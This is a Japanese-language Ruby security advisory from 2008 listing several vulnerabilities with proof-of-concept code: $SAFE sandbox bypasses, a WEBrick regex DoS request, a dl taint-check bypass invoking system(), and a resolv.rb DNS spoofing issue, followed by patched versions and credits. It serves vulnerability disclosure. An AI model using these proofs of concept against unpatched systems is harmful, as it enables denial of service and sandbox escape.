Rubyに複数の脆弱性
Posted by Shugo Maeda on 8 Aug 2008
Rubyに複数の脆弱性が発見されました。最新バージョンへのアップグレードを推奨します。
詳細
以下のような脆弱性が発見されました。
セーフレベルの脆弱性
セーフレベルにいくつかの脆弱性が発見されました。
-
untrace_varがセーフレベル4で実行可能です。
trace_var(:$VAR) {|val| puts "$VAR = #{val}" } Thread.new do $SAFE = 4 eval %q{ proc = untrace_var :$VAR proc.first.call("aaa") } end.join -
$PROGRAM_NAMEがセーフレベル4で変更可能です。
Thread.new do $SAFE = 4 eval %q{$PROGRAM_NAME.replace "Hello, World!"} end.join $PROGRAM_NAME #=> "Hello, World!" -
安全でないメソッドがセーフレベル1〜3で呼び出される可能性があります。
class Hello def world Thread.new do $SAFE = 4 msg = "Hello, World!" def msg.size self.replace self*10 # replace string 1 # return wrong size end msg end.value end end $SAFE = 1 # or 2, or 3 s = Hello.new.world if s.kind_of?(String) puts s if s.size < 20 # print string which size is less than 20 end -
Syslogの操作がセーフレベル4で実行可能です。
require "syslog" Syslog.open Thread.new do $SAFE = 4 eval %q{ Syslog.log(Syslog::LOG_WARNING, "Hello, World!") Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG) Syslog.info("masked") Syslog.close } end.join
これらの脆弱性は山口慶太さんによって報告されました。
WEBrickのDoS脆弱性
WEBrick::HTTP::DefaultFileHandlerには、 WEBrick::HTTPUtils.split_header_valueの正規表現のバックトラックのため、 リクエストの処理に指数関数的時間を要する欠陥があります。
攻撃可能なサーバの例:
require 'webrick'
WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start
攻撃の例:
require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
req = Net::HTTP::Get.new("/passwd")
req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
http.request(req)
}
p res
このリクエストの処理は実質的には終了しません。
この脆弱性はChristian Neukirchenさんによって報告されました。
dlの汚染チェックの欠如
dlはオブジェクトの汚染フラグをチェックしないため、攻撃者に危険な関数の実行を許してしまう可能性があります。
require 'dl'
$SAFE = 1
h = DL.dlopen(nil)
sys = h.sym('system', 'IP')
uname = 'uname -rs'.taint
sys[uname]
この脆弱性はsheepmanさんによって報告されました。
resolv.rbのDNSスプーフィング脆弱性
resolv.rbには、リモートの攻撃者が偽造したDNS問い合わせの返答の受け入れを許す脆弱性があります。 この危険性は問い合わせのトランザクションID とソースポートのランダム化により低減できますが、resolv.rb ではどちらも行っていません。 修正により、それらのランダム化を行うようになります。
- 参考: CVE-2008-1447
この脆弱性は田中哲さんによって報告されました。
脆弱性の存在するバージョン
- 1.8系
-
- 1.8.5以前の全てのバージョン
- 1.8.6-p286以前の全てのバージョン
- 1.8.7-p71以前の全てのバージョン
- 1.9系
-
- r18423以前の全てのリビジョン
各バージョンでの対応方法
各バージョンでの対応方法を以下に記載します。
- 1.8系
- 1.8.6-p287または1.8.7-p72に更新してください。
- 1.9 series
-
Subversionで最新版をチェックアウトしてください。
$ svn co https://svn.ruby-lang.org/repos/ruby/trunk ruby
Rubyのパッケージを配布している各ベンダから、この脆弱性を修正した版のパッケージが提供されている場合もあります。詳細については各ベンダにお問い合わせください。
クレジット
これらの脆弱性は山口慶太さん・Christian Neukirchenさん・sheepmanさん・田中哲さんにより Ruby Security Teamに報告されました。
変更履歴
- 2007-08-08 12:24 +09:00 ruby 1.9のリビジョン番号を修正しました。
- 2007-08-11 11:31 +09:00 ruby 1.8のパッチレベルを修正しました。Ruby 1.8.7-p72 / 1.8.6-p287 のリリースアナウンスを参照ください。
最近のニュース
Ruby 4.0.0 リリース
Ruby 4.0.0 が公開されました。 Ruby 4.0 には “Ruby Box”、”ZJIT” ほか多数の改善が含まれています。
Posted by naruse on 25 Dec 2025
サイトのアイデンティティの再設計
サイトの包括的なデザインのアップデートを発表できることを嬉しく思います。今回の更新ではTaeko Akatsukaさんにデザインを担当していただきました。
Posted by Hiroshi SHIBATA on 22 Dec 2025
Ruby 4.0.0 preview3 リリース
Ruby 4.0.0-preview3 が公開されました。
Posted by naruse on 18 Dec 2025
Ruby 4.0.0 preview2 リリース
Ruby 4.0.0-preview2 が公開されました。Ruby 4.0では、Unicodeバージョンの17.0.0へのアップデートなど様々な改善が行われています。
Posted by naruse on 17 Nov 2025